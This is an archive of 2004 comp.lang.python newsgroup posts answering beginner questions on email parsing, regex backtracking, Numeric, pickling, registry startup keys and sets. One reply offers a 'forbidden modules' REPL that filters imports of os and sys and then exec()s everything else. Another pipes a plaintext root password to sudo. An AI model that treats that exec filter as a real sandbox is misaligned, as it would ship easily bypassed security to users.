While
dirs[:] = []
is using slicing


Maybe I just making a big mess in my mind.
It looks like assignments in Python and C++ are pretty different


Cheers,
Marcello







From cookedm+news at physics.mcmaster.ca  Thu Feb 26 16:40:55 2004
From: cookedm+news at physics.mcmaster.ca (David M. Cooke)
Date: Thu, 26 Feb 2004 16:40:55 -0500
Subject: Python:Email and Header Parsing: Some Help
References: <mailman.149.1077785503.8594.python-list@python.org>
Message-ID: <qnkvfltsemw.fsf@arbutus.physics.mcmaster.ca>

At some point, dont bother <dontbotherworld at yahoo.com> wrote:

> Hi,
> I have written this small piece of code. I am a brand
> new  player of Python. I had asked some people for
> help, unfortunately not many helped.
> Here is the code I have:
>
> import email
> import os
> import sys
> fread = open('email_message', 'r')
> msg=email.message_from_file(fread)
> print msg
> #fwrite = open('output','w')
> #fwrite.write(msg)
>
> This way I am able to print the entire email message
> on the stdout. The program generates an error If I try
> to write the output to a file-- It says the argument
> (here msg) should be a string but not as an instance
> like here. How to write the message to another file
> then?

msg here isn't a string; it's an email.Message object. The print
statement works because print call str() on the objects passed.

You want
fwrite = open('output', 'w')
fwrite.write( msg.as_string() )

I didn't use str(msg) here, as that defaults to
msg.as_string(unixfrom=True). Depends whether or not you want the
'From <whoosit>' line at the top (which you do if you're writing an
mbox).

> 2. I have so many headers in the email message
>
> To:
> From:
> X Received:
> X Priority:
> Subject:
> etc etc.
> I want to parse the headers separtely and message
> separately. Does anyone has an example code to deal
> with Parser?

I'm not sure what you want -- email.message_from_file produces a Message
object, which already splits out the headers from the body. You can
then iterate over the headers. For example, to strip out the optional
headers (those starting with 'X-'):

for hdr in msg.keys():
    if hdr.startswith('X-'):
        del msg[hdr]

> Also I want to remove the redundant words and all html
> tags. Any advise on that?
> I saw some examples using HTMLGen But I dont have
> HTMLGen with python on my machine. I have Python
> 2.3.3. on my machine.

HTMLGen won't work, as that generates HTML (hence the name...). To
strip out the HTML tags, probably a regular expression would be
sufficient. Otherwise, have a look at HTMLParser (in the standard library).

-- 
|>|\/|<
/--------------------------------------------------------------------------\
|David M. Cooke
|cookedm(at)physics(dot)mcmaster(dot)ca


From jcarlson at nospam.uci.edu  Fri Feb  6 23:21:50 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Fri, 06 Feb 2004 20:21:50 -0800
Subject: where does Python stand?
In-Reply-To: <d99e1341.0402061439.1f8cebc9@posting.google.com>
References: <d99e1341.0402050505.226a01c8@posting.google.com>
	<6ee58e07.0402051148.25add90e@posting.google.com>
	<d99e1341.0402051930.57985621@posting.google.com>
	<bvv37j$8or$1@news.service.uci.edu>
	<d99e1341.0402061439.1f8cebc9@posting.google.com>
Message-ID: <c01p9a$olv$1@news.service.uci.edu>

>>Option 1:
>>Purchase a mac.
>>Get a .mac account.
>>Use iPhoto.

> No way!! I don't even consider this as an option. I was asking about
> "technologies" and "writing scripts", NOT about purchasing a machine!

>>Option 2:
>>Purchase some books at your local bookstore that explain what each of 
>>these technologies do.

> This is very possible.. but I can't afford to buy "some" books, that's
> why I'm using this post and google ;)


Ben,

You missed the point of my post.  If you are having problems with 
acronyms, then you likely lack the experience and/or the self discipline 
to build your own photo album software to make it happen.

I would suggest you download a pre-built piece of software that will do 
it for you.  It seems like Gallery (http://gallery.menalto.com/) would 
be just fine.

Good luck.
  - Josiah


From teiffel at attglobal.net  Tue Feb 24 11:35:48 2004
From: teiffel at attglobal.net (Marcello Pietrobon)
Date: Tue, 24 Feb 2004 11:35:48 -0500
Subject: Two newby's questions
Message-ID: <403B7D64.5060207@attglobal.net>

Hi,
python really looks a great language.

I wish C++ would have some of them !

Here the questions

1)
I preferred to use the newsgroup but the server
   comp.lang.python / c.l.python ( as it appears with Mozilla ) looks down !
Am I doing something worng or the link from the python.org pages
http://www.python.org/community/lists.html
does not work ?


2)
Is there a place where there are very small code snippets so a person 
can quicly use and learn Python ?

3)
Under http://py.vaults.ca
I found code under GPL license so I don't know if I can use some lines 
of code extracted from code I've found over there, for other open source 
code.

Marcello






From harry.g.george at boeing.com  Mon Feb 23 08:07:36 2004
From: harry.g.george at boeing.com (Harry George)
Date: Mon, 23 Feb 2004 13:07:36 GMT
Subject: if statements with or w/o else statements
References: <c1cvan$80l$1@solaris.cc.vt.edu>
	<c1d015$1h0m3p$1@ID-111250.news.uni-berlin.de>
Message-ID: <xqx8yiugd0n.fsf@cola2.ca.boeing.com>

"Diez B. Roggisch" <nospam-deets at web.de> writes:

> Bart Nessux wrote:
> 
> > Should an if statement have a corresponding else statement? Or, is it OK
> > to have an if statement by itself. For completeness, it seems the two
> > should be together, but from experience I know that a if statement by
> > itself works just fine. Below is an example:
> 
> Only if you actually have s/t senseful to do in the else. Otherwise you end
> up with s/t like this:
> 
> if <cond>:
>   ...
> else:
>   pass
> 
> -- 
> Regards,
> 
> Diez B. Roggisch

The question is, why do you need a branch?   There are several reasons:

1. Exhaustive enumeration of valid paths, with an exception if none is
   detected.  

   The "enumeration" might be just one item:
   if x:
       do_x
   else:
       raise Ex01

   It might be a few:
   if x:
       do_x
   elif y:
       do_y
   else:
       raise Ex02

   It might be a whole lot of choices, in which case some table lookup
   should be used with the exception raised if no lookup case is
   found.
   

2. Partial Enumeration.  For this, we do not know that an exception
   has occurred if we fall off the list.  So we leave off the "else".
   Or for clarity, to make very clear that it is optional, we can use
   
   else:
       pass

   However, I only do that if there confusion on whether or not it
   really ought to be full enumeration.

-- 
harry.g.george at boeing.com
6-6M21 BCA CompArch Design Engineering
Phone: (425) 342-0007


From janeb at broadpark.no  Sun Feb  8 12:04:36 2004
From: janeb at broadpark.no (Jan Erik Breimo)
Date: Sun, 8 Feb 2004 18:04:36 +0100
Subject: regex searching hangs
References: <ef08387c.0402080729.621632ca@posting.google.com>
Message-ID: <40266ca4$1@news.broadpark.no>


"Fortepianissimo" <fortepianissimo at yahoo.com.tw> wrote in message
news:ef08387c.0402080729.621632ca at posting.google.com...
> Could someone explains why the following code hangs (Python 2.3.3)?
>
> --- CODE STARTS ---
> import re
>
> p=re.compile(r'\S+(?:\.\S+)+\.com')
>
> t='......................................'
> p.search(t)
> --- CODE ENDS ---
>

The search doesn't hang, it just takes a long time to compute - the time it
takes almost doubles for each dot you add to t.
If you replace \S in the expression with [^ \t\n\r\f\v.] (ie. no whitespace
and no dots) you'll get the computation time you expect.




From __peter__ at web.de  Wed Feb  4 14:19:42 2004
From: __peter__ at web.de (Peter Otten)
Date: Wed, 04 Feb 2004 20:19:42 +0100
Subject: A matrix problem. Please help!
References: <8zaUb.2767$O41.76012@amstwist00>
Message-ID: <bvrgke$3bu$06$1@news.t-online.com>

Carl wrote:

> I have the following matrix that I want to transform:
>     
> import random
> import Numeric as N
> ru = []
> for i in range(25):
>     ru.append(int(random.uniform(0, 2)))
> ru = N.reshape(ru, (5, 5))
> 
>>>> ru
> array([[1, 0, 1, 1, 1],
>        [0, 1, 1, 1, 0],
>        [1, 1, 0, 0, 1],
>        [0, 1, 0, 0, 1],
>        [1, 1, 0, 1, 1]])
> 
> Trailing numbers (ie, from left to right) after the first encounter of a
> "1" for all rows should equal "0".
> 
> Thus, I want this:
> 
>>>> ru
> array([[1, 0, 0, 0, 0],
>        [0, 1, 0, 0, 0],
>        [1, 0, 0, 0, 0],
>        [0, 1, 0, 0, 0],
>        [1, 0, 0, 0, 0]])
> 
> Does anyone have a suggestion of a fast and easy way to accomplish the
> above?
> 
> Carl

(Disclaimer: Numeric newbie code)

>>> import random
>>> import Numeric
>>> import itertools
>>> def oneone():
...     while 1:
...             r = int(random.uniform(0, 2))
...             yield r
...             if r: break
...     for r in itertools.repeat(0):
...             yield r
...
>>> ru = Numeric.array([[x for x,y in itertools.izip(oneone(), range(5))]
for z in range(5)])
>>> ru
array([[0, 0, 1, 0, 0],
       [0, 0, 0, 1, 0],
       [1, 0, 0, 0, 0],
       [0, 0, 0, 1, 0],
       [0, 0, 1, 0, 0]])
>>>

Or, more seriously, i. e. assuming that you have no influence on the initial
matrix:

>>> r
array([[1, 1, 1],
       [0, 1, 1],
       [0, 0, 1]])
>>> for i in r:
...     for k in Numeric.nonzero(i)[1:]:
...             i[k] = 0
...
>>> r
array([[1, 0, 0],
       [0, 1, 0],
       [0, 0, 1]])

Peter



From jcarlson at nospam.uci.edu  Mon Feb  2 20:53:50 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Mon, 02 Feb 2004 17:53:50 -0800
Subject: Python vs. Io
In-Reply-To: <711c7390.0402021648.325d7760@posting.google.com>
References: <711c7390.0401291301.3f95794@posting.google.com>
	<d6ed4cf175ae626f7af3e1b3ee448bf4@news.teranews.com>
	<711c7390.0402021648.325d7760@posting.google.com>
Message-ID: <bvmv3m$gtj$1@news.service.uci.edu>

> If there are good enough responses, I'll use Python. I just wanted to
> know a reason why Python is better. Also, these responses might be
> used to make Io better (since it's a young language).
> 
> Daniel Ehrenberg

 From your responses, you seem to prefer a /flexibility/ in IO syntax 
and semantics that will never be attainable in Python.

Python isn't about allowing different syntax or semantics, it is about 
having a reasonable set of syntax and semantics along with a reasonable 
object, class, module and package structure, resulting in a language 
that allows the vast majority of algorithms, data structures, and 
/ideas/ to be implemented in a way that is both easy to write and to 
understand.

I would say something similar about IO, but I don't know what it is 
about (and I am too turned off by its syntax to find out).

Using metaphors; when you have a hammer, everything looks like a nail. 
Me?  I've got 3 hammers: Python, C/C++, Lisp.  I have not yet met a nail 
that wasn't properly pounded with my Python hammer.  Nails:
data processing
databases
sockets (both async with asyncore and sync with threads)
gui development
data structure implementation
prototyping
etc.

Now, a few of those could easily be hammered with either C/C++ or Lisp, 
but I wouldn't have been able to built the apartment complexes with 
C/C++ or Lisp that I was able to with Python.


What you are asking us, conceptually, is what hammer you should use. 
The hell if we care what hammer you use, we hang out here because /we/ 
enjoy using the Python hammer.  Of course it would be nice for you to 
use the Python hammer and give to the community, but I'm sure the IO 
community feels the same way - so whatever you want, I'm sure it will be 
fine.

  - Josiah


From jcarlson at nospam.uci.edu  Tue Feb 10 17:50:29 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Tue, 10 Feb 2004 14:50:29 -0800
Subject: Using class without importing module
In-Reply-To: <c0afal$8ev$1@news.uit.no>
References: <c0afal$8ev$1@news.uit.no>
Message-ID: <c0bnc6$qgn$1@news.service.uci.edu>

Thomas Aanensen wrote:

> Hi all.
> 
> I'm sending a class over a socket connection, and I want to use this class
> at the new location. The problem is that I get a "module blah does not
> exist" error.
> 
> Is it possible for me to use this class without importing the module? How?
> 
> Any other suggestions?

It sounds like you are using:

import Pickle
socketinstance.send(Pickle.dumps(classinstance))

The above doesn't work.  Pickle only encodes the data associated with 
that class, not the bytecode required for the functionality.  It refers 
to the module.class reference to deal with reconstructing it later from 
the pickle.

In general, you do need to import the module in order to use the class.

  - Josiah



From __peter__ at web.de  Wed Feb 11 16:57:24 2004
From: __peter__ at web.de (Peter Otten)
Date: Wed, 11 Feb 2004 22:57:24 +0100
Subject: sets and subsets
References: <c0e4g3$r1$1@solaris.cc.vt.edu>
Message-ID: <c0e8g4$4fi$03$1@news.t-online.com>

Bart Nessux wrote:

> By using lists, I can create sets of number. Suppose I have three lists.
> One list is the super-set, one is a set that contains all the numbers
> (just like the super-set) and the last is sub-set of the super-set. For
> example:
> 
> a = [1,2,3,4,5]       # The super-set.
> b = [1,2,3,4,5] # Looks just like the super-set, but it's not.
> c = [2,4]     # A sub-set
> 
> I'd like to remove 2 & 4 from set b BECAUSE they are present in set c...
> this would make the sets look like this:
> 
> a = [1,2,3,4,5]
> b = [1,3,5]
> c = [2,4]
> 
> How do I test set c to find what it contains and then look at set b to
> see if it contains any of those same numbers, and if so, remove them.

You want set operations, so why would you use lists?

>>> from sets import Set
>>> a = Set([1,2,3,4,5])
>>> c = Set([2,4])
>>> b = a - c
>>> b
Set([1, 3, 5])

Peter


From miki.tebeka at zoran.com  Wed Feb 11 00:43:05 2004
From: miki.tebeka at zoran.com (Miki Tebeka)
Date: 10 Feb 2004 21:43:05 -0800
Subject: Newbie question: getting my program to run at startup on Windows
References: <mailman.1437.1076449966.12720.python-list@python.org>
Message-ID: <4f0a9fdb.0402102143.722e4d4a@posting.google.com>

Hello Arjan,

> key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER,
> "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")
>                 
> _winreg.SetValueEx(key, "earthclock", 0, _winreg.REG_SZ, os.getcwdu() +
> "\\EarthClock.exe")
> _winreg.CloseKey(key)
> 
> But I get "WindowsError: [Errno 5] Access is denied"
> 
> I'm probably doing something blatantly wrong. Does anyone know what it
> is?
As the docs say, the default access mask for OpenKey is KEY_READ. Try:
key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, 
                      "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
                      sam=_winreg.KEY_ALL_ACCESS)

HTH.
Miki


From paul at pbmhr.com  Wed Feb 11 16:08:21 2004
From: paul at pbmhr.com (Paul Metzger)
Date: Wed, 11 Feb 2004 15:08:21 -0600
Subject: Hi All, have a  question
Message-ID: <200402112109.i1BL9al1014817@apollo.megagate.com>

Hi, I'm still a relative Python newbie, though I am learning more with every
project:) I have a script I wrote to back up a Linux server to another
server. The script is centered around the OS module. Problem is, then I put
the #!/usr/bin/python in the front and try to run it as a executable, it
comes up and tells me the module can't be imported, and the rest goes
straight to hell from there. Thing is, if I run the script with the
interpreter manually (IE, python backup.py) it runs just fine. On the other
two servers, it works just like it should, I type back up and it runs. Does
anyone have any ideas where I need to start looking? 

Thanks in advance, 

Paul




From miki.tebeka at zoran.com  Wed Feb  4 10:36:28 2004
From: miki.tebeka at zoran.com (Miki Tebeka)
Date: 4 Feb 2004 07:36:28 -0800
Subject: **kw,**args what are these things ?
References: <mailman.1187.1075888777.12720.python-list@python.org>
Message-ID: <4f0a9fdb.0402040736.2e848265@posting.google.com>

Hello,

> I see these things in many sources, under wxPy:
> 
> def __init__(self,params,**kw,**args)
> 
> What are these parameters, and what's the meaning of the double * ?
Try the tutorial. (Hint 4.7.2 Keyword Arguments and 4.7.3 Arbitrary Argument Lists).

HTH.
Miki


From jcarlson at nospam.uci.edu  Sun Feb  8 01:36:53 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sat, 07 Feb 2004 22:36:53 -0800
Subject: passing what a function returns to another function
In-Reply-To: <pan.2004.02.08.16.07.24.719493.12811@mikka.net.au>
References: <c03uh1$6ut$1@solaris.cc.vt.edu>
	<pan.2004.02.08.16.07.24.719493.12811@mikka.net.au>
Message-ID: <c04lii$f4g$1@news.service.uci.edu>

>         # hmmm, this looks like a Denial of Service attack to me...
>         # haven't you got something better to do with your time, 
>         # like maybe writing a natural language parser or something
>         # useful and challenging?
>         f = urlopen(url)

Tee hee.

On the one hand, I'm not terribly worried that his 'DDOS' software will 
get too far.  Considering that it requires the python runtime, and a few 
other misc libraries, we are talking 1-2 megs per version.

Maybe he read the recent NY Times article on virus/worm writers and 
wanted to be all 31337.
http://www.nytimes.com/2004/02/08/magazine/08WORMS.html?adxnnl=1&pagewanted=1

  - Josiah


From jasondrew at comcast.net  Mon Feb 23 13:42:14 2004
From: jasondrew at comcast.net (Jason Drew)
Date: 23 Feb 2004 10:42:14 -0800
Subject: Typecasting
References: <mailman.198.1077534828.27104.python-list@python.org>
Message-ID: <ef65e76a.0402231042.3897306a@posting.google.com>

In
   http://www.python.org/doc/2.3.3/lib/built-in-funcs.html
see the function
   int([x[, radix]])

Jason

"Shah, Rajesh \(GE Consumer & Industrial\)" <Rajesh.Shah at ge.com> wrote in message news:<mailman.198.1077534828.27104.python-list at python.org>...
> Hi Everybody,
> 
> Can you guide me to convert string into Int datatype?
> (i.e. How can we convert string into int? like '555' into 555)
> 
> Thanks in advance.
> 
> ~Rajesh


From tcsh-bounces at mx.gw.com  Wed Feb 25 13:14:11 2004
From: tcsh-bounces at mx.gw.com (tcsh-bounces at mx.gw.com)
Date: Wed, 25 Feb 2004 13:14:11 -0500
Subject: Your message to Tcsh awaits moderator approval
Message-ID: <mailman.3948.1077732851.855.tcsh@mx.gw.com>

Your mail to 'Tcsh' with the subject

    warning

Is being held until the list moderator can review it for approval.

The reason it is being held:

    Post by non-member to a members-only list

Either the message will get posted to the list, or you will receive
notification of the moderator's decision.  If you would like to cancel
this posting, please visit the following URL:

    http://mx.gw.com/mailman/confirm/tcsh/1e398e564daa16beed159690cac8283c672637f8




From jcarlson at nospam.uci.edu  Mon Feb  2 18:55:43 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Mon, 02 Feb 2004 15:55:43 -0800
Subject: Produce anti-noise
In-Reply-To: <bvmlik$kam$06$1@news.t-online.com>
References: <56f42e53.0402021410.5f2b2d93@posting.google.com>
	<bvmlik$kam$06$1@news.t-online.com>
Message-ID: <bvmo66$afc$1@news.service.uci.edu>

Perhaps I'm not understanding the original question, but if one can get 
the signed (-32768...32767) audio input signals, make it into a numeric 
array (using Numeric or what have you), multiply that numeric array by 
-1, then output the signal, it would be relatively easy to invert the phase.

About the only question is whether or not there is significant overhead 
in reading the audio signal, inverting it, then sending the audio signal 
back to some set of speakers.


Personally, I'm a big fan of the low-tech approach:
Cut the cable in your microphone, swap the wires, seal the cable.

Adjust the volume on your input microphones (for noise cancellation, one 
should optimally have one for each ear), and you are set.


I read an article for doing this kind of thing using just a few 
transistors and a 9V battery to produce a few mW amp and a a pair of 
very small standard microphones in an electronics hobby book in ~1998.

  - Josiah


From dbentley at stanford.edu  Thu Feb 12 11:54:24 2004
From: dbentley at stanford.edu (Daniel Danger Bentley)
Date: Thu, 12 Feb 2004 08:54:24 -0800
Subject: correct way of running a sub-process
References: <Pine.GSO.4.44.0402120604380.4841-100000@amy3.Stanford.EDU>
	<pan.2004.02.12.16.17.48.957440@thomas-guettler.de>
Message-ID: <c0gb41$1bl$1@news.Stanford.EDU>

Correct me if I'm wrong, but can't this not catch all the output?  Or is
read in python guaranteed to return all the data that can ever be returned
(unlike the C library function)?

-D
"Thomas Guettler" <guettli at thomas-guettler.de> wrote in message
news:pan.2004.02.12.16.17.48.957440 at thomas-guettler.de...
> def shell_command(cmd):
>     # There mustnot be output to stdout or stderr
>     # otherwise an exception is raised
>
>     p=popen2.Popen4(cmd) # read stdout and stderr
>     output=p.fromchild.read()
>     ret=p.wait()
>     if ret or output:
>         raise("Error in shell_command '%s': ret=%s output='%s'" %(
>             cmd, ret, output))
>
>




From elainejackson7355 at home.com  Wed Feb  4 19:22:03 2004
From: elainejackson7355 at home.com (Elaine Jackson)
Date: Thu, 05 Feb 2004 00:22:03 GMT
Subject: an ingrate newbie complains
References: <3Q9Ub.390497$JQ1.351833@pd7tw1no>
	<mailman.1212.1075922934.12720.python-list@python.org>
Message-ID: <L0gUb.391501$JQ1.257591@pd7tw1no>

Thanks to everyone who responded. Digging into this matter of list
comprehensions a bit more, I turned up some interesting facts. Consider the
following example:

>>> f = lambda x,y: x*y+2*pow(y,2)
>>> g = lambda x: 3*pow(x,2)
>>> list = [1,2,3,4,5]

The kind of expression I have in mind would be equivalent to...

>>> [f(x,y) for (x,y) in [(x,g(x)) for x in list] if y>19]
[1539, 4800, 11625]

...which is equivalent to...

>>> [f(x,y) for x in list for y in [g(x)] if y>19]
[1539, 4800, 11625]

...but it's not equivalent to...

>>> [f(x,y) for y in [g(x)] if y>19 for x in list]
[11325, 11400, 11475, 11550, 11625]

...or to...

>>> [f(x,y) for y in [g(x)] for x in list if y>19]
[11325, 11400, 11475, 11550, 11625]

I imagine a good explanation of this discrepancy can only be gotten by dipping
into the documentation and finding out what an "iterator" is, and that's
unfortunate (imho), because it means that list comprehensions fail to
"intuitively suggest the proper meaning to a human reader who has not yet been
introduced to the construct" (quote taken from the FAQ).

del list
## Peace

"Skip Montanaro" <skip at pobox.com> wrote in message
news:mailman.1212.1075922934.12720.python-list at python.org...
|
|     Elaine> 1) I find the following behavior puzzling and disappointing:
|
|     >>> X=[(1,1),(2,4),(3,9),(4,16),(5,25)]
|     >>> Y=dict(X)
|     >>> Z=list(Y)
|     >>> Z==X
|     False
|     >>> Z==Y.keys()
|     True
|
| That list(Y) returns the keys of X is perhaps unfortunate, but the same
| behavior allows you to write:
|
|     for key in Y:
|         print (key, y[key])
|
| which can be an efficiency gain if Y is large (not having to build a list of
| all the keys ahead of time).  You'll find this to be true though:
|
|     W = Y.items()
|     W.sort()
|     W == X
|
|     Elaine> 2) How come you can't write...
|
|     Elaine> if y = f(x) > 3:
|     Elaine>     <do a bunch of things with x and y>
|
| There is a common class of errors in C code:
|
|     if (c = 0) {
|         ...
|     }
|
| Is that supposed to be an assignment or a test?  Python avoids that problem
| by not allowing assignments within expressions.
|
|     Elaine> That kind of syntax would be especially welcome in list
|     Elaine> comprehensions:
|
|     Elaine> [f(x,y) for x in list if y=g(x)<=0]
|
| I think you can recast that as:
|
|     [f(x,y) for (x,y) in zip(list, [g(z) for z in list]) if y <= 0]
|
| but do you really want to?  (This won't work if list is an iterator.)
|
|     Elaine> If g(x) is a fairly complicated expression, and y occurs several
|     Elaine> times in f(x,y), considerable clarity could be gained.
|
| If g(x) is a fairly complicated expression and y occurs several times in
| f(x,y), perhaps you should be using a for loop instead of a list
| comprehension:
|
|     result = []
|     for x in list:
|         y = g(x)
|         if y <= 0:
|             result.append(f(x,y))
|     return result
|
| (FYI, you shouldn't use "list" as a variable name.  You're shadowing a
| builtin, a practice that can lead to confusing error messages, if nothing
| else.)
|
| Skip
|




From uche at ogbuji.net  Tue Feb 10 02:33:49 2004
From: uche at ogbuji.net (Uche Ogbuji)
Date: 9 Feb 2004 23:33:49 -0800
Subject: package similar to XML::Simple
References: <bv80qq$kbg$1@sunnews.cern.ch>
Message-ID: <d116fbae.0402092333.629d027f@posting.google.com>

Paulo Pinto <paulo.pinto at cern.ch> wrote in message news:<bv80qq$kbg$1 at sunnews.cern.ch>...
> Hi,
> 
> 
> does anyone know of a Python package that
> is able to load XML like the XML::Simple
> Perl package does?
> 
> For those that don't know it, this package
> maps the XML file to a dictionary.
> 
> Of course I can build such a package myself
> but it would be better if it already exists :)

FWIW: http://www.xml.com/pub/a/2004/01/14/py-xml.html

--Uche
http://uche.ogbui.net


From sdfATexpertuneDOTcom  Tue Feb  3 16:27:17 2004
From: sdfATexpertuneDOTcom (Scott F)
Date: Tue, 03 Feb 2004 21:27:17 -0000
Subject: OT: Recommended news reader?
References: <4f0a9fdb.0402031309.fde7220@posting.google.com>
Message-ID: <Xns94849D377F5B0sdfexpertunecom@216.168.3.44>

miki.tebeka at zoran.com (Miki Tebeka) wrote in 
news:4f0a9fdb.0402031309.fde7220 at posting.google.com:

> 
> Which news reader do you recommend?
> Currently I use Google Groups and find it a bit to dull.
> 

On Windows, try Xnews.  

http://xnews.newsguy.com/





From miki.tebeka at zoran.com  Mon Feb 16 06:59:10 2004
From: miki.tebeka at zoran.com (Miki Tebeka)
Date: 16 Feb 2004 03:59:10 -0800
Subject: Hiding modules
References: <c0mpkn$i1d$1@gist.usc.edu>
Message-ID: <4f0a9fdb.0402160359.33f90363@posting.google.com>

Hello Tommy,


> Is there anything that can be done to import modules conditionally?
> Any ideas?
Writing a custom REPL (read-eval-print-loop) should be easy enough:
import re
split = re.compile("\s+").split

forbidden = ("os", "sys")

def repl():
    while 1:
        s = raw_input(">>> ").strip()
        ok = 1
        if s.startswith("import"):
            for module in split(s.strip())[1:]:
                if module in forbidden:
                    print "can't use %s module" % module
                    ok = 0
                    break
        if ok:
            exec(s)

while 1:
    repl()

HTH.
Miki


From elainejackson7355 at home.com  Fri Feb 13 10:46:30 2004
From: elainejackson7355 at home.com (Elaine Jackson)
Date: Fri, 13 Feb 2004 15:46:30 GMT
Subject: beeline through tkinter
Message-ID: <qj6Xb.476569$JQ1.239547@pd7tw1no>

I'm about to tackle tkinter, but here's the thing: The only kind of GUI I want
to work on is a chessboard (an 8x8 grid of images that can be "moved around").
So before I start, I'm asking the room at large: Is there some way of going
directly to what I'm interested in? Any help will be very much appreciated.

Peace




From jcarlson at nospam.uci.edu  Wed Feb 18 19:33:05 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Wed, 18 Feb 2004 16:33:05 -0800
Subject: Garbage Collection Method
In-Reply-To: <mailman.37.1077147828.27104.python-list@python.org>
References: <mailman.37.1077147828.27104.python-list@python.org>
Message-ID: <c110cp$260$1@news.service.uci.edu>

> Someone else know whats the way Python collect Garbage, by 
> unreferenced locations in memory, usings flags, maybe hybrid of two or 
> more methods, ... Can help me?

It uses a reference counting method, along with a cycle-detection 
algorithm.  More information about the cyclic garbage collector can be 
found in the documentation for the gc module in the standard library.

  - Josiah


From rainerd at eldwood.com  Sat Feb 28 13:34:19 2004
From: rainerd at eldwood.com (Rainer Deyke)
Date: Sat, 28 Feb 2004 18:34:19 GMT
Subject: Type emulation issues with new style classes
References: <C0%%b.4538$qX5.249@nwrdny03.gnilink.net>
Message-ID: <La50c.431948$na.1038396@attbi_s04>

Chris wrote:
> class Z(object):
>     value = 42
>     def __hasattr__(self, name):
>         if name == '__int__':
>             return True
>     def __getattr__(self, name):
>         if name == '__int__':
>             return lambda: self.value
      def __int__(self):
        return self.__getattr__('__int__')()


-- 
Rainer Deyke - rainerd at eldwood.com - http://eldwood.com




From k4bda at yahoo.com  Fri Feb 13 09:30:29 2004
From: k4bda at yahoo.com (Will)
Date: Fri, 13 Feb 2004 14:30:29 -0000
Subject: 6 Qustions about Python: Does it do GUI?  more...
Message-ID: <c0in25+ftaj@eGroups.com>

I just discovered Python and looked briefly at one of the tutorials 
for beginners...

It looks a lot like the old Command line Basic... I'm sure it does 
much more but...

1 - Can you create windows, buttons, user input fields, etc as you 
can with Visual Basic?

2 - Can you call Windows Procedures or what ever they call them 
these days?

3 - Can you create your own objects with a bunch of methods and 
properties?

4 - Can you create a Windows program that looks and feels like a 
Windows program?

5 - Does it come with a compiler or must the user have the 
interpreter on their machine?

6 - Why another language? Easier than C or C++ or Visual C ?? More 
powerful than Visual Basic or the competing Borland productg?? Why 
Python?

I'm interested as I never really took the time to become much of a C 
programmer (or C++ or Visual C) - I've done lot's of assembly 
language/embedded processor stuff & years ago Basic and some Visual 
Basic... before .net... and wondered if Python would do me for some 
projects I have always wanted to do?

Thanks for any info.

Will





From edvard+news at majakari.net  Wed Feb 18 08:54:39 2004
From: edvard+news at majakari.net (Edvard Majakari)
Date: Wed, 18 Feb 2004 15:54:39 +0200
Subject: Unit-testing single function with large number of different
 inputs
References: <87ptcdsyyt.fsf@titan.staselog.com>
	<c0v7bk$pjv$05$1@news.t-online.com>
Message-ID: <87smh8o5ls.fsf@titan.staselog.com>

Peter Otten <__peter__ at web.de> writes:

> I think dynamically creating test cases is the way to go. I would subclass
> TestCase to test one file and then for every file put an instance of
> MyTestCase into a TestSuite. For instance:

[snip]

Right!

What a nice solution - now I have good sides of my former and latter
solutions, and none of the bad sides (with the probable exception of
testing code being harder to read for others :)

Thank you.

-- 
# Edvard Majakari		Software Engineer
# PGP PUBLIC KEY available    	Soli Deo Gloria!

$_ = '456476617264204d616a616b6172692c20612043687269737469616e20'; print
join('',map{chr hex}(split/(\w{2})/)),uc substr(crypt(60281449,'es'),2,4),"\n";


From peter at engcorp.com  Fri Feb 20 15:00:09 2004
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 20 Feb 2004 15:00:09 -0500
Subject: pass string to a os prompt
References: <c15kee$t1p$1@solaris.cc.vt.edu>
Message-ID: <40366749.FA50A5C5@engcorp.com>

Bart Nessux wrote:
> 
> I'm writing a script that does some basic pre-configuration for our new
> Macs (OSX 10.3.2). I'm trying to enable the root account automatically
> with the script, but I don't know how to pass stings to the shell when
> it stops and awaits input. For example,
> 
> os.popen('/usr/bin/sudo passwd root')

Try something like this:

  os.system('echo newpass | /usr/bin/sudo passwd --stdin root')

(This works without the sudo while I was logged in as root, but I didn't 
try it using sudo.)

-Peter


From brian at bluecoat93.org  Wed Feb 25 19:34:12 2004
From: brian at bluecoat93.org (Brian Landers)
Date: 25 Feb 2004 16:34:12 -0800
Subject: ANNOUNCE: PyGoogle 0.6 released
Message-ID: <mailman.1077762003.18375.clpa-moderators@python.org>

PyGoogle 0.6 has been released!  

PyGoogle is a Python wrapper for the Google Web APIs. It allows you to
do Google searches, retrieve pages from the Google cache, and ask
Google for spelling suggestions.

This release adds support for the current SOAPpy module from the
Python Web Services project (http://pywebsvcs.sourceforge.net).  It
also contains significant internal refactorings and API documentation
updates.

You should download and install the SOAPpy module from the Python Web
Services project (version 0.11.3 or later) before using PyGoogle.  We
include an earlier patched version (SOAP.py), however its use is
deprecated and it will be removed entirely in a future release.

INCOMPATIBILITY:  the following functions and classes are now
considered *internal* and have been renamed to discourage their use:

  _version
  _usage
  _test
  _makeFormatter
  _output
  _OutputFormatter
  _TextOutputFormatter

You can download the latest version of PyGoogle from SourceForge at
http://pygoogle.sourceforge.net

Cheers,
Brian



From bokr at oz.net  Mon Feb  9 12:47:34 2004
From: bokr at oz.net (Bengt Richter)
Date: 9 Feb 2004 17:47:34 GMT
Subject: PEP 327: Decimal Data Type
References: <mailman.1168.1075811734.12720.python-list@python.org>
	<c00hdt$hbv$0@216.39.172.122>
	<4023ea86$0$138$3a628fcd@reader2.nntp.hccnet.nl>
Message-ID: <c08h3m$dns$0@216.39.172.122>

On Fri, 06 Feb 2004 20:25:21 +0100, anton at vredegoor.doge.nl (Anton Vredegoor) wrote:

>On 6 Feb 2004 17:03:57 GMT, bokr at oz.net (Bengt Richter) wrote:
>
>>The _meaning_ of numbers that are guaranteed to fall into known exact intervals
>>in terms of representing measurements, measurement errors, statistics of the
>>errors, etc. is a separate matter from keeping track of exact intervals during
>>computation. These concerns should not be confused, IMO, though they inevitably
